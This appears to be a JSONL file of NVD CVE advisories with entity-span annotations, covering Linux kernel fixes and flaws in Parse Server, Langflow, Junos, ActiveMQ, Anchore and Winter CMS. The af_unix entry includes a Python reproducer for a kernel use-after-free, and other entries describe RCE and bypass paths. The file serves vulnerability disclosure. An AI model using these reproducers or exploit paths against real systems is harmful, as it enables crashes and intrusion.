{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/dp: Fix divide-by-zero regression on DP MST unplug with nouveau\n\nFix a regression when using nouveau and unplugging a StarTech MSTDP122DP\nDisplayPort 1.2 MST hub (the same regression does not appear when using\na Cable Matters DisplayPort 1.4 MST hub). Trace:\n\n divide error: 0000 [#1] PREEMPT SMP PTI\n CPU: 7 PID: 2962 Comm: Xorg Not tainted 6.8.0-rc3+ #744\n Hardware name: Razer Blade/DANA_MB, BIOS 01.01 08/31/2018\n RIP: 0010:drm_dp_bw_overhead+0xb4/0x110 [drm_display_helper]\n Code: c6 b8 01 00 00 00 75 61 01 c6 41 0f af f3 41 0f af f1 c1 e1 04 48 63 c7 31 d2 89 ff 48 8b 5d f8 c9 48 0f af f1 48 8d 44 06 ff <48> f7 f7 31 d2 31 c9 31 f6 31 ff 45 31 c0 45 31 c9 45 31 d2 45 31\n RSP: 0018:ffffb2c5c211fa30 EFLAGS: 00010206\n RAX: ffffffffffffffff RBX: 0000000000000000 RCX: 0000000000f59b00\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: ffffb2c5c211fa48 R08: 0000000000000001 R09: 0000000000000020\n R10: 0000000000000004 R11: 0000000000000000 R12: 0000000000023b4a\n R13: ffff91d37d165800 R14: ffff91d36fac6d80 R15: ffff91d34a764010\n FS:  00007f4a1ca3fa80(0000) GS:ffff91d6edbc0000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000559491d49000 CR3: 000000011d180002 CR4: 00000000003706f0\n Call Trace:\n  <TASK>\n  ? show_regs+0x6d/0x80\n  ? die+0x37/0xa0\n  ? do_trap+0xd4/0xf0\n  ? do_error_trap+0x71/0xb0\n  ? drm_dp_bw_overhead+0xb4/0x110 [drm_display_helper]\n  ? exc_divide_error+0x3a/0x70\n  ? drm_dp_bw_overhead+0xb4/0x110 [drm_display_helper]\n  ? asm_exc_divide_error+0x1b/0x20\n  ? drm_dp_bw_overhead+0xb4/0x110 [drm_display_helper]\n  ? drm_dp_calc_pbn_mode+0x2e/0x70 [drm_display_helper]\n  nv50_msto_atomic_check+0xda/0x120 [nouveau]\n  drm_atomic_helper_check_modeset+0xa87/0xdf0 [drm_kms_helper]\n  drm_atomic_helper_check+0x19/0xa0 [drm_kms_helper]\n  nv50_disp_atomic_check+0x13f/0x2f0 [nouveau]\n  drm_atomic_check_only+0x668/0xb20 [drm]\n  ? drm_connector_list_iter_next+0x86/0xc0 [drm]\n  drm_atomic_commit+0x58/0xd0 [drm]\n  ? __pfx___drm_printfn_info+0x10/0x10 [drm]\n  drm_atomic_connector_commit_dpms+0xd7/0x100 [drm]\n  drm_mode_obj_set_property_ioctl+0x1c5/0x450 [drm]\n  ? __pfx_drm_connector_property_set_ioctl+0x10/0x10 [drm]\n  drm_connector_property_set_ioctl+0x3b/0x60 [drm]\n  drm_ioctl_kernel+0xb9/0x120 [drm]\n  drm_ioctl+0x2d0/0x550 [drm]\n  ? __pfx_drm_connector_property_set_ioctl+0x10/0x10 [drm]\n  nouveau_drm_ioctl+0x61/0xc0 [nouveau]\n  __x64_sys_ioctl+0xa0/0xf0\n  do_syscall_64+0x76/0x140\n  ? do_syscall_64+0x85/0x140\n  ? do_syscall_64+0x85/0x140\n  entry_SYSCALL_64_after_hwframe+0x6e/0x76\n RIP: 0033:0x7f4a1cd1a94f\n Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <41> 89 c0 3d 00 f0 ff ff 77 1f 48 8b 44 24 18 64 48 2b 04 25 28 00\n RSP: 002b:00007ffd2f1df520 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n RAX: ffffffffffffffda RBX: 00007ffd2f1df5b0 RCX: 00007f4a1cd1a94f\n RDX: 00007ffd2f1df5b0 RSI: 00000000c01064ab RDI: 000000000000000f\n RBP: 00000000c01064ab R08: 000056347932deb8 R09: 000056347a7d99c0\n R10: 0000000000000000 R11: 0000000000000246 R12: 000056347938a220\n R13: 000000000000000f R14: 0000563479d9f3f0 R15: 0000000000000000\n  </TASK>\n Modules linked in: rfcomm xt_conntrack nft_chain_nat xt_MASQUERADE nf_nat nf_conntrack_netlink nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 xfrm_user xfrm_algo xt_addrtype nft_compat nf_tables nfnetlink br_netfilter bridge stp llc ccm cmac algif_hash overlay algif_skcipher af_alg bnep binfmt_misc snd_sof_pci_intel_cnl snd_sof_intel_hda_common snd_soc_hdac_hda snd_sof_pci snd_sof_xtensa_dsp snd_sof_intel_hda snd_sof snd_sof_utils snd_soc_acpi_intel_match snd_soc_acpi snd_soc_core snd_compress snd_sof_intel_hda_mlink snd_hda_ext_core iwlmvm intel_rapl_msr intel_rapl_common intel_tcc_cooling x86_pkg_temp_thermal intel_powerclamp mac80211 coretemp kvm_intel snd_hda_codec_hdmi kvm snd_hda_\n---truncated---", "spans": {"FILEPATH: /31/2018": [[481, 489]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26941"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.7 and 8.6.33, when multi-factor authentication (MFA) via TOTP is enabled for a user account, Parse Server generates two single-use recovery codes. These codes are intended as a fallback when the user cannot provide a TOTP token. However, recovery codes are not consumed after use, allowing the same recovery code to be used an unlimited number of times. This defeats the single-use design of recovery codes and weakens the security of MFA-protected accounts. An attacker who obtains a single recovery code can repeatedly authenticate as the affected user without the code ever being invalidated. This vulnerability is fixed in 9.6.0-alpha.7 and 8.6.33.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31875"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Don't leave consecutive consumed OOB skbs.\n\nJann Horn reported a use-after-free in unix_stream_read_generic().\n\nThe following sequences reproduce the issue:\n\n  $ python3\n  from socket import *\n  s1, s2 = socketpair(AF_UNIX, SOCK_STREAM)\n  s1.send(b'x', MSG_OOB)\n  s2.recv(1, MSG_OOB)     # leave a consumed OOB skb\n  s1.send(b'y', MSG_OOB)\n  s2.recv(1, MSG_OOB)     # leave a consumed OOB skb\n  s1.send(b'z', MSG_OOB)\n  s2.recv(1)              # recv 'z' illegally\n  s2.recv(1, MSG_OOB)     # access 'z' skb (use-after-free)\n\nEven though a user reads OOB data, the skb holding the data stays on\nthe recv queue to mark the OOB boundary and break the next recv().\n\nAfter the last send() in the scenario above, the sk2's recv queue has\n2 leading consumed OOB skbs and 1 real OOB skb.\n\nThen, the following happens during the next recv() without MSG_OOB\n\n  1. unix_stream_read_generic() peeks the first consumed OOB skb\n  2. manage_oob() returns the next consumed OOB skb\n  3. unix_stream_read_generic() fetches the next not-yet-consumed OOB skb\n  4. unix_stream_read_generic() reads and frees the OOB skb\n\n, and the last recv(MSG_OOB) triggers KASAN splat.\n\nThe 3. above occurs because of the SO_PEEK_OFF code, which does not\nexpect unix_skb_len(skb) to be 0, but this is true for such consumed\nOOB skbs.\n\n  while (skip >= unix_skb_len(skb)) {\n    skip -= unix_skb_len(skb);\n    skb = skb_peek_next(skb, &sk->sk_receive_queue);\n    ...\n  }\n\nIn addition to this use-after-free, there is another issue that\nioctl(SIOCATMARK) does not function properly with consecutive consumed\nOOB skbs.\n\nSo, nothing good comes out of such a situation.\n\nInstead of complicating manage_oob(), ioctl() handling, and the next\nECONNRESET fix by introducing a loop for consecutive consumed OOB skbs,\nlet's not leave such consecutive OOB unnecessarily.\n\nNow, while receiving an OOB skb in unix_stream_recv_urg(), if its\nprevious skb is a consumed OOB skb, it is freed.\n\n[0]:\nBUG: KASAN: slab-use-after-free in unix_stream_read_actor (net/unix/af_unix.c:3027)\nRead of size 4 at addr ffff888106ef2904 by task python3/315\n\nCPU: 2 UID: 0 PID: 315 Comm: python3 Not tainted 6.16.0-rc1-00407-gec315832f6f9 #8 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-4.fc42 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl (lib/dump_stack.c:122)\n print_report (mm/kasan/report.c:409 mm/kasan/report.c:521)\n kasan_report (mm/kasan/report.c:636)\n unix_stream_read_actor (net/unix/af_unix.c:3027)\n unix_stream_read_generic (net/unix/af_unix.c:2708 net/unix/af_unix.c:2847)\n unix_stream_recvmsg (net/unix/af_unix.c:3048)\n sock_recvmsg (net/socket.c:1063 (discriminator 20) net/socket.c:1085 (discriminator 20))\n __sys_recvfrom (net/socket.c:2278)\n __x64_sys_recvfrom (net/socket.c:2291 (discriminator 1) net/socket.c:2287 (discriminator 1) net/socket.c:2287 (discriminator 1))\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\nRIP: 0033:0x7f8911fcea06\nCode: 5d e8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 75 19 83 e2 39 83 fa 08 75 11 e8 26 ff ff ff 66 0f 1f 44 00 00 48 8b 45 10 0f 05 <48> 8b 5d f8 c9 c3 0f 1f 40 00 f3 0f 1e fa 55 48 89 e5 48 83 ec 08\nRSP: 002b:00007fffdb0dccb0 EFLAGS: 00000202 ORIG_RAX: 000000000000002d\nRAX: ffffffffffffffda RBX: 00007fffdb0dcdc8 RCX: 00007f8911fcea06\nRDX: 0000000000000001 RSI: 00007f8911a5e060 RDI: 0000000000000006\nRBP: 00007fffdb0dccd0 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000202 R12: 00007f89119a7d20\nR13: ffffffffc4653600 R14: 0000000000000000 R15: 0000000000000000\n </TASK>\n\nAllocated by task 315:\n kasan_save_stack (mm/kasan/common.c:48)\n kasan_save_track (mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))\n __kasan_slab_alloc (mm/kasan/common.c:348)\n kmem_cache_alloc_\n---truncated---", "spans": {"FILEPATH: /unix/af_unix.c": [[2087, 2102], [2542, 2557], [2594, 2609], [2618, 2633], [2665, 2680]], "FILEPATH: /01/2014": [[2348, 2356]], "FILEPATH: /kasan/report.c": [[2433, 2448], [2455, 2470], [2493, 2508]], "FILEPATH: /x86/entry/syscall_64.c": [[2963, 2986], [3012, 3035]], "FILEPATH: /x86/entry/entry_64.S": [[3095, 3116]], "FILEPATH: /kasan/common.c": [[3802, 3817], [3843, 3858], [3882, 3897], [3943, 3958]], "FILEPATH: dump_stack.c": [[2398, 2410]], "FILEPATH: socket.c": [[2706, 2714], [2743, 2751], [2798, 2806], [2838, 2846], [2874, 2882], [2910, 2918]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2287, 2291]], "VULNERABILITY: use-after-free": [[143, 157], [587, 601], [1535, 1549], [2042, 2056]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38236"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: use flags field to disambiguate broadcast redirect\n\nWhen redirecting a packet using XDP, the bpf_redirect_map() helper will set\nup the redirect destination information in struct bpf_redirect_info (using\nthe __bpf_xdp_redirect_map() helper function), and the xdp_do_redirect()\nfunction will read this information after the XDP program returns and pass\nthe frame on to the right redirect destination.\n\nWhen using the BPF_F_BROADCAST flag to do multicast redirect to a whole\nmap, __bpf_xdp_redirect_map() sets the 'map' pointer in struct\nbpf_redirect_info to point to the destination map to be broadcast. And\nxdp_do_redirect() reacts to the value of this map pointer to decide whether\nit's dealing with a broadcast or a single-value redirect. However, if the\ndestination map is being destroyed before xdp_do_redirect() is called, the\nmap pointer will be cleared out (by bpf_clear_redirect_map()) without\nwaiting for any XDP programs to stop running. This causes xdp_do_redirect()\nto think that the redirect was to a single target, but the target pointer\nis also NULL (since broadcast redirects don't have a single target), so\nthis causes a crash when a NULL pointer is passed to dev_map_enqueue().\n\nTo fix this, change xdp_do_redirect() to react directly to the presence of\nthe BPF_F_BROADCAST flag in the 'flags' value in struct bpf_redirect_info\nto disambiguate between a single-target and a broadcast redirect. And only\nread the 'map' pointer if the broadcast flag is set, aborting if that has\nbeen cleared out in the meantime. This prevents the crash, while keeping\nthe atomic (cmpxchg-based) clearing of the map pointer itself, and without\nadding any more checks in the non-broadcast fast path.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36937"}}
{"text": "Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.", "spans": {"CVE_ID: CVE-2025-3248": [[554, 567]], "FILEPATH: /api/v1/build_public_tmp": [[116, 140]], "FILEPATH: /api/v1/validate/code": [[581, 602]], "SYSTEM: Python": [[344, 350]], "VULNERABILITY: remote code execution": [[509, 530]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33017"}}
{"text": "An Improper Handling of Exceptional Conditions vulnerability in packet processing of Juniper Networks Junos OS on MX Series with MPC10/MPC11/LC9600 line cards, EX9200 with EX9200-15C lines cards, MX304 devices, and Juniper Networks Junos OS Evolved on PTX Series, allows an attacker sending malformed DHCP packets to cause ingress packet processing to stop, leading to a Denial of Service (DoS).  Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition.\n\nThis issue only occurs if DHCP snooping is enabled. See configuration below.\n\nThis issue can be detected using following commands. Their output will display the interface status going down:\n\n\nuser@device>show interfaces <if--x/x/x>\nuser@device>show log messages | match <if--x/x/x>\nuser@device>show log messages ==> will display the \"[Error] Wedge-Detect : Host Loopback Wedge Detected: PFE: no,\" logs.\n\nThis issue affects:\nJunos OS on \n\nMX Series \n\nwith MPC10/MPC11/LC9600 line cards, EX9200 with EX9200-15C line cards, and MX304: \n\n\n  *  All versions before 21.2R3-S7, \n  *  from 21.4 before 21.4R3-S6, \n  *  from 22.2 before 22.2R3-S3, \n  *  all versions of 22.3,\n  *  from 22.4 before 22.4R3, \n  *  from 23.2 before 23.2R2; \n\n\n\nJunos OS Evolved on PTX Series: \n  *  from 19.3R1-EVO before 21.2R3-S8-EVO,\n\n  *  from 21.4-EVO before 21.4R3-S7-EVO, \n  *  from 22.1-EVO before 22.1R3-S6-EVO, \n  *  from 22.2-EVO before 22.2R3-S5-EVO, \n  *  from 22.3-EVO before 22.3R3-S3-EVO, \n  *  from 22.4-EVO before 22.4R3-S1-EVO, \n  *  from 23.2-EVO before 23.2R2-S2-EVO, \n  *  from 23.4-EVO before 23.4R2-EVO.\n\n\n\nJunos OS Evolved releases prior to 19.3R1-EVO are unaffected by this vulnerability", "spans": {"FILEPATH: /MPC11/LC9600": [[134, 147], [967, 980]], "FILEPATH: /x/x": [[733, 737], [783, 787]], "ORGANIZATION: Juniper": [[85, 92], [215, 222]], "VULNERABILITY: Denial of Service": [[371, 388], [471, 488]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39526"}}
{"text": "A regression has been introduced in the commit preventing JMX re-bind. By passing an empty environment map to RMIConnectorServer, instead of the map that contains the authentication credentials, it leaves ActiveMQ open to the following attack: https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html \"A remote client could create a javax.management.loading.MLet MBean and use it to create new MBeans from arbitrary URLs, at least if there is no security manager. In other words, a rogue remote client could make your Java application execute arbitrary code.\" Mitigation: Upgrade to Apache ActiveMQ 5.15.13", "spans": {"URL: https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html": [[244, 320]], "SYSTEM: Apache ActiveMQ": [[603, 618]], "SYSTEM: Java": [[538, 542]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11998"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: Add AML_NO_OPERAND_RESOLVE flag to Timer\n\nACPICA commit 90310989a0790032f5a0140741ff09b545af4bc5\n\nAccording to the ACPI specification 19.6.134, no argument is required to be passed for ASL Timer instruction. For taking care of no argument, AML_NO_OPERAND_RESOLVE flag is added to ASL Timer instruction opcode.\n\nWhen ASL timer instruction interpreted by ACPI interpreter, getting error. After adding AML_NO_OPERAND_RESOLVE flag to ASL Timer instruction opcode, issue is not observed.\n\n=============================================================\nUBSAN: array-index-out-of-bounds in acpica/dswexec.c:401:12 index -1 is out of range for type 'union acpi_operand_object *[9]'\nCPU: 37 PID: 1678 Comm: cat Not tainted\n6.0.0-dev-th500-6.0.y-1+bcf8c46459e407-generic-64k\nHW name: NVIDIA BIOS v1.1.1-d7acbfc-dirty 12/19/2022 Call trace:\n dump_backtrace+0xe0/0x130\n show_stack+0x20/0x60\n dump_stack_lvl+0x68/0x84\n dump_stack+0x18/0x34\n ubsan_epilogue+0x10/0x50\n __ubsan_handle_out_of_bounds+0x80/0x90\n acpi_ds_exec_end_op+0x1bc/0x6d8\n acpi_ps_parse_loop+0x57c/0x618\n acpi_ps_parse_aml+0x1e0/0x4b4\n acpi_ps_execute_method+0x24c/0x2b8\n acpi_ns_evaluate+0x3a8/0x4bc\n acpi_evaluate_object+0x15c/0x37c\n acpi_evaluate_integer+0x54/0x15c\n show_power+0x8c/0x12c [acpi_power_meter]", "spans": {"HASH: 90310989a0790032f5a0140741ff09b545af4bc5": [[133, 173]], "FILEPATH: /19/2022": [[885, 893]], "FILEPATH: dswexec.c": [[666, 675]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: NVIDIA": [[850, 856]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53395"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: Fix race condition during interface enslave\n\nCommit 5dbbbd01cbba83 (\"ice: Avoid RTNL lock when re-creating\nauxiliary device\") changes a process of re-creation of aux device\nso ice_plug_aux_dev() is called from ice_service_task() context.\nThis unfortunately opens a race window that can result in dead-lock\nwhen interface has left LAG and immediately enters LAG again.\n\nReproducer:\n```\n#!/bin/sh\n\nip link add lag0 type bond mode 1 miimon 100\nip link set lag0\n\nfor n in {1..10}; do\n        echo Cycle: $n\n        ip link set ens7f0 master lag0\n        sleep 1\n        ip link set ens7f0 nomaster\ndone\n```\n\nThis results in:\n[20976.208697] Workqueue: ice ice_service_task [ice]\n[20976.213422] Call Trace:\n[20976.215871]  __schedule+0x2d1/0x830\n[20976.219364]  schedule+0x35/0xa0\n[20976.222510]  schedule_preempt_disabled+0xa/0x10\n[20976.227043]  __mutex_lock.isra.7+0x310/0x420\n[20976.235071]  enum_all_gids_of_dev_cb+0x1c/0x100 [ib_core]\n[20976.251215]  ib_enum_roce_netdev+0xa4/0xe0 [ib_core]\n[20976.256192]  ib_cache_setup_one+0x33/0xa0 [ib_core]\n[20976.261079]  ib_register_device+0x40d/0x580 [ib_core]\n[20976.266139]  irdma_ib_register_device+0x129/0x250 [irdma]\n[20976.281409]  irdma_probe+0x2c1/0x360 [irdma]\n[20976.285691]  auxiliary_bus_probe+0x45/0x70\n[20976.289790]  really_probe+0x1f2/0x480\n[20976.298509]  driver_probe_device+0x49/0xc0\n[20976.302609]  bus_for_each_drv+0x79/0xc0\n[20976.306448]  __device_attach+0xdc/0x160\n[20976.310286]  bus_probe_device+0x9d/0xb0\n[20976.314128]  device_add+0x43c/0x890\n[20976.321287]  __auxiliary_device_add+0x43/0x60\n[20976.325644]  ice_plug_aux_dev+0xb2/0x100 [ice]\n[20976.330109]  ice_service_task+0xd0c/0xed0 [ice]\n[20976.342591]  process_one_work+0x1a7/0x360\n[20976.350536]  worker_thread+0x30/0x390\n[20976.358128]  kthread+0x10a/0x120\n[20976.365547]  ret_from_fork+0x1f/0x40\n...\n[20976.438030] task:ip              state:D stack:    0 pid:213658 ppid:213627 flags:0x00004084\n[20976.446469] Call Trace:\n[20976.448921]  __schedule+0x2d1/0x830\n[20976.452414]  schedule+0x35/0xa0\n[20976.455559]  schedule_preempt_disabled+0xa/0x10\n[20976.460090]  __mutex_lock.isra.7+0x310/0x420\n[20976.464364]  device_del+0x36/0x3c0\n[20976.467772]  ice_unplug_aux_dev+0x1a/0x40 [ice]\n[20976.472313]  ice_lag_event_handler+0x2a2/0x520 [ice]\n[20976.477288]  notifier_call_chain+0x47/0x70\n[20976.481386]  __netdev_upper_dev_link+0x18b/0x280\n[20976.489845]  bond_enslave+0xe05/0x1790 [bonding]\n[20976.494475]  do_setlink+0x336/0xf50\n[20976.502517]  __rtnl_newlink+0x529/0x8b0\n[20976.543441]  rtnl_newlink+0x43/0x60\n[20976.546934]  rtnetlink_rcv_msg+0x2b1/0x360\n[20976.559238]  netlink_rcv_skb+0x4c/0x120\n[20976.563079]  netlink_unicast+0x196/0x230\n[20976.567005]  netlink_sendmsg+0x204/0x3d0\n[20976.570930]  sock_sendmsg+0x4c/0x50\n[20976.574423]  ____sys_sendmsg+0x1eb/0x250\n[20976.586807]  ___sys_sendmsg+0x7c/0xc0\n[20976.606353]  __sys_sendmsg+0x57/0xa0\n[20976.609930]  do_syscall_64+0x5b/0x1a0\n[20976.613598]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n\n1. Command 'ip link ... set nomaster' causes that ice_plug_aux_dev()\n   is called from ice_service_task() context, aux device is created\n   and associated device->lock is taken.\n2. Command 'ip link ... set master...' calls ice's notifier under\n   RTNL lock and that notifier calls ice_unplug_aux_dev(). That\n   function tries to take aux device->lock but this is already taken\n   by ice_plug_aux_dev() in step 1\n3. Later ice_plug_aux_dev() tries to take RTNL lock but this is already\n   taken in step 2\n4. Dead-lock\n\nThe patch fixes this issue by following changes:\n- Bit ICE_FLAG_PLUG_AUX_DEV is kept to be set during ice_plug_aux_dev()\n  call in ice_service_task()\n- The bit is checked in ice_clear_rdma_cap() and only if it is not set\n  then ice_unplug_aux_dev() is called. If it is set (in other words\n  plugging of aux device was requested and ice_plug_aux_dev() is\n  potentially running) then the function only clears the\n---truncated---", "spans": {"FILEPATH: /bin/sh": [[461, 468]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[78, 92]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48842"}}
{"text": "In Anchore Engine version 0.7.0, a specially crafted container image manifest, fetched from a registry, can be used to trigger a shell escape flaw in the anchore engine analyzer service during an image analysis process. The image analysis operation can only be executed by an authenticated user via a valid API request to anchore engine, or if an already added image that anchore is monitoring has its manifest altered to exploit the same flaw. A successful attack can be used to execute commands that run in the analyzer environment, with the same permissions as the user that anchore engine is run as - including access to the credentials that Engine uses to access its own database which have read-write ability, as well as access to the running engien analyzer service environment. By default Anchore Engine is released and deployed as a container where the user is non-root, but if users run Engine directly or explicitly set the user to 'root' then that level of access may be gained in the execution environment where Engine runs. This issue is fixed in version 0.7.1.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11075"}}
{"text": "Winter is a free, open-source content management system (CMS) based on the Laravel PHP framework. Winter CMS prior to versions 1.2.7, 1.1.11, and 1.0.476 allow users with access to the CMS templates sections that modify Twig files to bypass the sandbox placed on Twig files and modify resources such as theme customisation values or modify, or remove, templates in the theme even if not provided direct access via the permissions. As all objects passed through to Twig are references to the live objects, it is also possible to also manipulate model data if models are passed directly to Twig, including changing attributes or even removing records entirely. In most cases, this is unwanted behavior and potentially dangerous. To actively exploit this security issue, an attacker would need access to the Backend with a user account with any of the following permissions: `cms.manage_layouts`; `cms.manage_pages`; or `cms.manage_partials`. The Winter CMS maintainers strongly recommend that these permissions only be reserved to trusted administrators and developers in general. The maintainers of Winter CMS have significantly increased the scope of the sandbox, effectively making all models and datasources read-only in Twig, in versions 1.2.7, 1.1.11, and 1.0.476. Thse who cannot upgrade may apply commit fb88e6fabde3b3278ce1844e581c87dcf7daee22 to their Winter CMS installation manually to resolve the issue. In the rare event that a Winter user was relying on being able to write to models/datasources within their Twig templates, they should instead use or create components to make changes to their models.", "spans": {"HASH: fb88e6fabde3b3278ce1844e581c87dcf7daee22": [[1310, 1350]], "SYSTEM: PHP": [[83, 86]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-54149"}}
{"text": "Vulnerability in the Oracle Installed Base product of Oracle E-Business Suite (component: APIs). Supported versions that are affected are 12.1.1 - 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Installed Base. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Installed Base, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Installed Base accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [54, 60], [284, 290], [424, 430], [612, 618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14822"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix event leak upon exec and file release\n\nThe perf pending task work is never waited upon the matching event\nrelease. In the case of a child event, released via free_event()\ndirectly, this can potentially result in a leaked event, such as in the\nfollowing scenario that doesn't even require a weak IRQ work\nimplementation to trigger:\n\nschedule()\n   prepare_task_switch()\n=======> <NMI>\n      perf_event_overflow()\n         event->pending_sigtrap = ...\n         irq_work_queue(&event->pending_irq)\n<======= </NMI>\n      perf_event_task_sched_out()\n          event_sched_out()\n              event->pending_sigtrap = 0;\n              atomic_long_inc_not_zero(&event->refcount)\n              task_work_add(&event->pending_task)\n   finish_lock_switch()\n=======> <IRQ>\n   perf_pending_irq()\n      //do nothing, rely on pending task work\n<======= </IRQ>\n\nbegin_new_exec()\n   perf_event_exit_task()\n      perf_event_exit_event()\n         // If is child event\n         free_event()\n            WARN(atomic_long_cmpxchg(&event->refcount, 1, 0) != 1)\n            // event is leaked\n\nSimilar scenarios can also happen with perf_event_remove_on_exec() or\nsimply against concurrent perf_event_release().\n\nFix this with synchonizing against the possibly remaining pending task\nwork while freeing the event, just like is done with remaining pending\nIRQ work. This means that the pending task callback neither need nor\nshould hold a reference to the event, preventing it from ever beeing\nfreed.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43869"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: RISC-V: Remove PERF_HES_STOPPED flag checking in riscv_pmu_start()\n\nSince commit 096b52fd2bb4 (\"perf: RISC-V: throttle perf events\") the\nperf_sample_event_took() function was added to report time spent in\noverflow interrupts. If the interrupt takes too long, the perf framework\nwill lower the sysctl_perf_event_sample_rate and max_samples_per_tick.\nWhen hwc->interrupts is larger than max_samples_per_tick, the\nhwc->interrupts will be set to MAX_INTERRUPTS, and events will be\nthrottled within the __perf_event_account_interrupt() function.\n\nHowever, the RISC-V PMU driver doesn't call riscv_pmu_stop() to update the\nPERF_HES_STOPPED flag after perf_event_overflow() in pmu_sbi_ovf_handler()\nfunction to avoid throttling. When the perf framework unthrottled the event\nin the timer interrupt handler, it triggers riscv_pmu_start() function\nand causes a WARN_ON_ONCE() warning, as shown below:\n\n ------------[ cut here ]------------\n WARNING: CPU: 0 PID: 240 at drivers/perf/riscv_pmu.c:184 riscv_pmu_start+0x7c/0x8e\n Modules linked in:\n CPU: 0 PID: 240 Comm: ls Not tainted 6.4-rc4-g19d0788e9ef2 #1\n Hardware name: SiFive (DT)\n epc : riscv_pmu_start+0x7c/0x8e\n  ra : riscv_pmu_start+0x28/0x8e\n epc : ffffffff80aef864 ra : ffffffff80aef810 sp : ffff8f80004db6f0\n  gp : ffffffff81c83750 tp : ffffaf80069f9bc0 t0 : ffff8f80004db6c0\n  t1 : 0000000000000000 t2 : 000000000000001f s0 : ffff8f80004db720\n  s1 : ffffaf8008ca1068 a0 : 0000ffffffffffff a1 : 0000000000000000\n  a2 : 0000000000000001 a3 : 0000000000000870 a4 : 0000000000000000\n  a5 : 0000000000000000 a6 : 0000000000000840 a7 : 0000000000000030\n  s2 : 0000000000000000 s3 : ffffaf8005165800 s4 : ffffaf800424da00\n  s5 : ffffffffffffffff s6 : ffffffff81cc7590 s7 : 0000000000000000\n  s8 : 0000000000000006 s9 : 0000000000000001 s10: ffffaf807efbc340\n  s11: ffffaf807efbbf00 t3 : ffffaf8006a16028 t4 : 00000000dbfbb796\n  t5 : 0000000700000000 t6 : ffffaf8005269870\n status: 0000000200000100 badaddr: 0000000000000000 cause: 0000000000000003\n [<ffffffff80aef864>] riscv_pmu_start+0x7c/0x8e\n [<ffffffff80185b56>] perf_adjust_freq_unthr_context+0x15e/0x174\n [<ffffffff80188642>] perf_event_task_tick+0x88/0x9c\n [<ffffffff800626a8>] scheduler_tick+0xfe/0x27c\n [<ffffffff800b5640>] update_process_times+0x9a/0xba\n [<ffffffff800c5bd4>] tick_sched_handle+0x32/0x66\n [<ffffffff800c5e0c>] tick_sched_timer+0x64/0xb0\n [<ffffffff800b5e50>] __hrtimer_run_queues+0x156/0x2f4\n [<ffffffff800b6bdc>] hrtimer_interrupt+0xe2/0x1fe\n [<ffffffff80acc9e8>] riscv_timer_interrupt+0x38/0x42\n 